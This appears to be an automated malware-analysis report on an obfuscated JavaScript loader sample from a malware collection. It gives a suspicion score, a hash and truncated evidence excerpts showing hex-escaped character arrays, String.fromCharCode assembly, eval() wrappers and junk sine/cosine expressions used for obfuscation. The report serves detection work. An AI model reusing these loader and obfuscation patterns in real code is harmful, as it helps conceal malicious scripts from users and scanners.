Suspicious ^80% javascript-malware-collection Download

20151215_10bccb7397f8e251d72a67ab588ea617.js

Packed, obfuscated, eval-based loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2569989618a65023556b579745d7441c5ac4fa451edad532f2e917c1d9a96d4a7e4

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var P=new Array();
2X(P,"\x44");X(P,"\x75");X(P,"\x23");X(P,"\x73");X(P,"\x62");X(P,"\x5f");X(P,"\x28");X(P,"\x66");X(P,"\x4d");X(P,"\x3c");X(P,"\x70");X(P,"\x40");X(P,"\x4e");X(P,"\x29");X(P,"\x25");X(P,"\x74");X(P,"\x6f");X(P,"\x56");X(P,"\x67");X(P,"\x3f");X(P,"\x3f");X(P,"\x57");X(P,"\x5e");X(P,"\x59");X(P,"\x3c");X(P,"\x74");X(P,"\x79");X(P,"\x63");X(P,"\x53");X(P,"\x4c");X(P,"\x4a");X(P,"\x20");X(P,"\x37");X(P,"\x33");X(P,"\x45");X(P,"\x6c");X(P,"\x48");X(P,"\x6f");X(P,"\x23");X(P,"\x76");X(P,"\x44");X(P,"\x32");X(P,"\x22");X(P,"\x6d");X(P,"\x5f");X(P,"\x28");X(P,"\x2e");X(P,"\x4e");X(P,"\x3c");X(P,"\x4e");X(P,"\x59");X(P,"\x62");X(P,"\x7b");X(P, …

0x3f hex byte token line 3

3:4… NQBPj=[0x4,0x5,0xc,0x10,0x17,0x1a,0x20,0x26,0x2b,0x2d,0x33,0x39,0x3f,0x43,0x4a,0x4e,0x53,0x57,0x5e,0x60,0x64,0x6d,0x6f,0x73,0x7a,0x7f,0x86,0x8b,0x8f,0x94,0x9a,0x9c,0xa3,0xa6,0xaa,0xb3,0xb7,0xba,0x …

Builds characters with String.fromCharCode line 4

4:242… 40],P[41],P[42],P[43],P[44],P[45],P[46],P[47],P[48],P[49],P[50],String.fromCharCode(10),P[51],P[52],P[53],P[54],P[55],P[56],P[57],P[58],P[59],P[60],P[61],P[62],P[63],P[64],P[65],String.fromCharCode(13),P[66],P[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… rVJfNy,ERaEKjSH){jieM=parseInt(GTnnmXoYkuN,aPVUrnVrVJfNy);lbBzW=jieM.toString(ERaEKjSH);return lbBzW;}function BWyuWKRsyytmkrD(UoJWwVktoDLiUIJIx,WJokJvMiAyIFYNeuPOShPEyLIqkDonAHNq,JCZSYrqHbavQEmpvXETBmQhoyGHujyNFBYk){eval(UoJWwVktoDLiUIJIx)}
7function BWyuWKRsyytmkrD(UoJWwVktoDLiUIJIx){eval(UoJWwVktoDLiUIJIx)}
8function vTLwZDnDrxoOkseAOxQOaHBDByVibJXlImPWvNmxpqIjs …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,O];
14var nWLCwyGki=[];
15function JRhRHHralXleMYtTA(irXXn){lWQIZnumzRi= P[1806];for(cuYewnBXKxD=Math.round((Math.pow(Math.sin(214), 2) + Math.pow(Math.cos(214), 2) - 1)); cuYewnBXKxD < (423+859)/641; cuYewnBXKxD++) {nWLCwyGki[cuYewnBXKxD]=Math.round((Math.pow(Math.sin(872), 2) + Math.pow(Math.cos(872), 2) - 1)); while(true) { if(nWLCwyGki[cuYewnBXKxD] > irXXn[cuYewnBXKxD].length-(-256+633)/377) { break; } if (WFVLOSt(hJXoK(irXXn[cuYewnBXKxD][nWLCwyGki[cuYewnBXKxD]],(16531+ …